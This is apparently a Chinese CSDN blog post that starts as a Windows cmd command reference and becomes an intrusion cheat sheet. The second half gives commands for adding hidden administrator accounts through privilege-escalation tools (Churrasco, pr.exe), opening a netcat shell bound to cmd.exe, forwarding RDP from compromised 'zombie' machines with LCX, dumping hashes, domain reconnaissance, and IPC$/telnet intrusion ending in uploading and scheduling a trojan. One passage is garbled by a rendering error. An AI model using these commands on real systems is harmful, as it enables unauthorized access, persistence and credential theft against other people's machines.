Windows操作系统cmd/Dos 批处理命令手册bat

操作系统 服务命令列表

  • winver---------检查windows版本
    在这里插入图片描述


wmimgmt.msc----打开windows管理体系结构(wmi)

在这里插入图片描述



wupdmgr Windows更新程序
wscript Windows脚本宿主设置

文档
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wscript

在这里插入图片描述



write----------写字板
在这里插入图片描述



winmsd---------系统信息



wiaacmgr-------扫描仪和照相机向导

在这里插入图片描述



winchat--------xp自带局域网聊天

mem.exe--------显示内存使用情况

msconfig.exe---系统配置实用程序

在这里插入图片描述



mplayer2-------简易 widnowsmediaplayer 媒体播放机

mspaint--------画图板

在这里插入图片描述



mstsc----------远程桌面连接

在这里插入图片描述



magnify--------放大镜实用程序
在这里插入图片描述



mmc------------打开控制台

在这里插入图片描述



mobsync--------同步命令

在这里插入图片描述



dxdiag---------检查directx信息

在这里插入图片描述



drwtsn32------系统医生

devmgmt.msc---设备管理器

在这里插入图片描述



dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开dde共享设置

dvdplay--------dvd播放器

nslookup-------ip地址侦测器

netstopmessenger-----停止信使服务

netstartmessenger----开始信使服务

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕“讲述人”

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat-an----(tc)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windowsxp系统的双重密码

services.msc---本地服务设置

sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc/scannow---windows文件保护(扫描错误并复原)

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器(2000/xp/2003)

eventvwr-------事件查看器

eudcedit-------造字程序

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce-p----15秒关机

regsvr32/u*.dll----停止dll文件运行

regsvr32/uzipfldr.dll------取消zip支持

cmd.exe--------cmd命令提示符

chkdsk.exe-----chkdsk磁盘检查

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------sqlserver客户端网络实用程序

clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------LJ整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------odbc数据源管理器

oobe/msoobe/a----检查xp是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略

在这里插入图片描述

CMD部分提权常用命令


ipconfig         显示本地IP地址
whoami
net user            查看所有用户列表
echo %username%
systeminfo
net user admin password /add
net localgroup Administrators admin /add
net start telnet           开telnet服务
net use z:127.0.0.1c$     映射对方的C盘 
attrib    隐藏文件

开3389

- Windows 控制台注册表工具
 调用3.0注册表的一个命令
 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
 
reg add /?   查看 命令 使用方法
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
KeyName [\\Machine\]FullKey


REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
        [/reg:32 | /reg:64]

  KeyName  [\\Machine\]FullKey
           Machine  远程机器名 - 忽略默认到当前机器。远程机器上
                    只有 HKLM 和 HKU 可用。
           FullKey  ROOTKEY\SubKey
           ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]
           SubKey   所选 ROOTKEY 下注册表项的完整名称。

  /v       所选项之下要添加的值名称。

  /ve      为注册表项添加空白值名称(默认)。

  /t       RegKey 数据类型
           [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |
             REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]
           如果忽略,则采用 REG_SZ。

  /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
           如果忽略,则将 "\0" 用作分隔符。

  /d       要分配给添加的注册表 ValueName 的数据。

  /f       不用提示就强行覆盖现有注册表项。

 /reg:32  指定应该使用 32 位注册表视图访问的注册表项。

 /reg:64  指定应该使用 64 位注册表视图访问的注册表项。

例如:

  REG ADD \\ABC\HKLM\Software\MyCo
    添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

  REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
    添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

  REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    添加一个值(名称: MRU,类型: REG_MULTI_SZ,数据: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
    添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
    注意: 在扩充字符串中使用插入符号 ( ^ )

查终端端口

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

巴西烤肉 Churrasco.exe “命令”

使用方法:

C:\RECYCLER\Churrasco.exe “net user xiaoma xiaoma /add && net localgroup administrators xiaoma /add”

C:\RECYCLER\Churrasco.exe “net user admin$ /del” 删除帐号

query user 查看会话

logoff ID号 踢掉

C:\RECYCLER\Churrasco.exe “logoff 1”

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

NC反弹

路径\nc.exe -l -p 端口 -t -e 路径\cmd.exe

c:\RECYCLER\nc.exe -l -p 1234 -t -e c:\RECYCLER\cmd.exe

NC上传

DOS界面下运行:

NC -vv www.baidu.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

LCX端口转发

先本地监听51端口 lcx.exe -listen 51 3389

c:\recycler\lcx.exe -slave 自己的ip 51 肉鸡IP 3389 LCX转发

c:\recycler\lcx.exe -slave 222.222.222.222 51 111.111.111.111 3389

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

360提权

1.开启终端服务,端口为3389;用法:360.exe “port”
2.替换5下shift为cmd;用法:360.exe “sethc”

====================================================================

gethash使用

C:\RECYCLER\gethash.exe $local

=========================================================================

pr提权

c:\recycler\cmd.exe
c:\recycler\pr.exe

pr.exe “net user xiaoma xiaoma /add & net localgroup administrators xiaoma /add”

================================================================================
rar.exe打包命令

cmd.exe /c “\Program Files\winrar\rar.exe” a -r d:\wwwroot\1.rar d:\wwwroot

@查询本机的一些情况
  ipconfig /all
  @查询存在关系的机器
  Net view
  @查询有几个域
  nei view /damin
  @查看 testdomain域中的计算机列表
  net view /domain:testdomain
  @查询域内的组
  net group /domain
  @划分网段
  dsquery subnet
  @查询域内用户
  net user /domain
  @查询域内组信息
  net group /domain
  @查询域管理用户组
  net group “domain admins” /domain
  @查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息!
  net user domain-admin /domain
  @查询域内计算机
  net group “domain computers” /domain
  @判断机器属于哪个域
  net config Workstation
  @判断主域.主域服务器都做时间服务器
  net time /domian //这招是在LCX牛的文章里面学会的
  net group “domain admins” /domain
  @ipc域内连接
  net use \IP\ipc$ password /user:username@domain
  ====
  猜测内网结构的一些命令和工具
  ====
  tracert 10.1.0.1
  ping x.x.x.x
  nbtscan -r 192.168.16.0/24
  @扫描某个段的一些东西 //感谢玫瑰大叔的工具。感谢猫师傅给我说这个东东
  hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200
  还有一个内网结构图形化表现工具
  dude ///感谢影叔 感谢LInux520群得朋友说
  还有一部分没有整理。过段时间在发上来吧~ 欢迎各位牛一起交流内网渗透。




systeminfo

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

获取NETBIOS主机名

  • ping -a IP
  • ping命令测试网络连接
    在这里插入图片描述

net account

  • net命令管理网络环境

该命令用于
更新用户的账户数据库,
并且为所有账户修改密码和登录需求,

如:强制用户在时间到期之后多久必须注销、
密码最长/短使用期限、密码长度下限、锁定阈值、锁定持续时间、
锁定观测窗口和计算机角色等详细信息

format:
“net accounts [/forcelogoff:{minutes|no}][/minpwlen:length][/maxpwage:{days|unlimited}][/minpwage:days][/uniquepw:number][/sync][/domain]”

for example:
“net accounts”

在这里插入图片描述
在这里插入图片描述

  • net computer
    该命令用于添加或者删除域数据库中的计算机,
    所有计算机的添加和删除都会转发到主域控制器
    在这里插入图片描述
    format:“net computer \computername {/add|/del}”
    在这里插入图片描述

  • net config

该命令用于显示工作站或服务器服务的配置消息,
或者显示并更改某项服务的设置

format:“net config [service[options]]”

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • net config workstation
    命令用于显示更改配置工作站服务参数,更改立即生效并永久保持

format:“net config workstation [/charcount:bytes][/chartime:msec][/charwait:sec]”

在这里插入图片描述

  • net continue

该命令能用重新激活挂起的服务

format:“net continue service”

  • net file

用于显示某种服务器上所有打开的共享文件夹及锁定文件夹数,
也可以关闭个别文件并取消文件锁定

在这里插入图片描述

  • net group

用于Windows NT Server域中添加、更改或显示全局组,
仅在Windows NT Server域中可用

format:
“net group [groupname [/comment:“text”]][/domain]
net group groupname {/add[/comment:“text”]|delete}[/domain]
net group groupname username[…]{/add|/delete}[/domain]”

在这里插入图片描述

  • net help

该命令用于提供网络命令列表及帮助主题,

format:“net help [command] net command {/help|/?}”

  • net localgroup

用于显示、删除或更改本地组

format:
“net localgroup [groupname [/comment:“text”]][/domain]
net localgroup groupname{/add [/comment:“text”]|/delete}[/domain]
net localgroup groupname name[…]{/add|/delete}[/domain]”

  • net name

用于添加或删除消息名(有时称别名),或显示计算机接受消息的列表。要使用该命令则必须先运行信使服务

format:”net name[name [/add|/delete]]“

  • net print

用于显示或控制打印作业及打印队列

format:”net print \computername
net print \sharename
net print [\computername] job# [/hold|/release|/delete]“

  • net session

用于列出或断开本地计算机和与之连接的客户端会话

format:”net session [\computername][/delete]“

  • net send

用于向网络的其他用户、计算机发送消息。要接受消息必须运行信使服务

format:”net send {name|*|/domain[:name]|/users} message“

在这里插入图片描述

  • net share

用于创建、删除或显示共享资源

format:”net share sharename
net share sharename=drive:path [/users:number|/unlimited][/remark:“text”]
net share sharename [/users:number|unlimited][/remark:“text”]
net share {sharename|drive:path} /delete“

在这里插入图片描述

  • net time

用于时计算机的时间与另一台计算机或域的时间同步。
不带/set参数时,将显示另外一台计算机或域的时间

format:”net time [\computername|/domain[:name]][/set]“

在这里插入图片描述

telnet命令进行远程登陆

格式

format:”telnet ip地址/主机名称“

步骤

输入”telnet 主机名/ip地址“启动telnet会话

一旦telnet成功连接到远程计算机上,就显示登陆信息并提示用户输入用户名和口令

如果输入正确就能成功的登录并在远程计算机上工作

使用ftp命令进行数据传输

格式

format:”ftp -v -d -l -n -g [主机名]“

在这里插入图片描述

使用netstat命令查看网络连接的相关信息

使用netstat -a命令:显示所有连接和端口

使用netstat -b命令:显示包含创建每个连接或者监听端口的可执行文件

使用netstat -e命令:显示以太网数据统计,可以结合-s使用

使用netstat -n命令:能以网络IP地址代替名称,显示网络连接情形

netstat /help查看命令帮助。。。

在这里插入图片描述

使用tracert命令查看IP数据报的传输路径

tracert是路由跟踪实用程序,该命令用于确定IP数据包访问目标所采取的路径

format:
“tracert [-d][-h maximum_hops][-j host-list][-w timeout] targer_name”
for example:“tracert 主机名”

在这里插入图片描述

IPC$入侵与防范

建立IPC$连接

format:“net use \IP\ipc$ Password/user:Admin”

IP:目标ip地址
Password:目标计算机密码
Admin:目标计算机用户名
建立映射

format:“net use z:\IP\c$”

\IP\c $ 表示目标电脑上的C盘,符号$表示隐藏的共享,
z:表示将远程主机的C盘映射为本地磁盘的盘符

查看远程连接

format:“net use * /del”

空连接漏洞

format:“net use \ip “” /user:"" ” --注意一共有四个空格 引号不能少
IPC$连接原本是要求客户机具有足够的权限才能连接到主机,
然而该漏洞允许客户端使用空用户名和密码就可以与目标主机成功建立连接。
虽然这样无法执行管理类操作,
既不能映射网络驱动器、上传文件、执行脚本命令,
但是却可以用来探测目标主机中的一些信息。

Telnet入侵

使用telnet入侵前必须建立IPC$连接,
建立连接是为了方便开启远程计算机中被禁用的telnet服务

format:“sc \ip config tlntsvr start=auto” --用sc命令把禁用的telnet服务变成自动
“sc \ip start tlntsvr” --用sc命令启动telnet服务
“telnet ip” --登录telnet
“net share” --查看默认共享
“net share sharename=drive:path” --建立cKaTeX parse error: Undefined control sequence: \1 at position 18: … “copy \̲1̲.txt \\ip\c” --copy命令上传木马 这里是把命令行切到c盘下了,1.txt在C盘根目录
“at \ip time cmd” --at命令定时执行 time参数为时间 cmd为上传到目标主机共享的程序名 即木马
“net user 用户名 密码 /add” --添加用户
“net localgroup administrators 用户名 /add” --为上一步添加的用户名加入工作组
注意:如果对方采用了NTLM认证策略,
可以连接网络注册表修改
HKEYLOCAL\MACHINE\SOFTWARE\MICROSOFT\TELNETSERVERf\1.0 下的
NTLM键值由2改成0,然后重启telnet服务

通过注册表入侵

Windows注册表是帮助
Widnows控制软硬件 、用户环境和Windows界面的一套数据文件,
入侵者可在注册表编辑器中
通过连接网络注册表进入远程计算机的注册表并进行实时监控。
如果想阻止该入侵,只需要关闭Remote Registry服务

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 黑客帝国 设计师:白松林 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值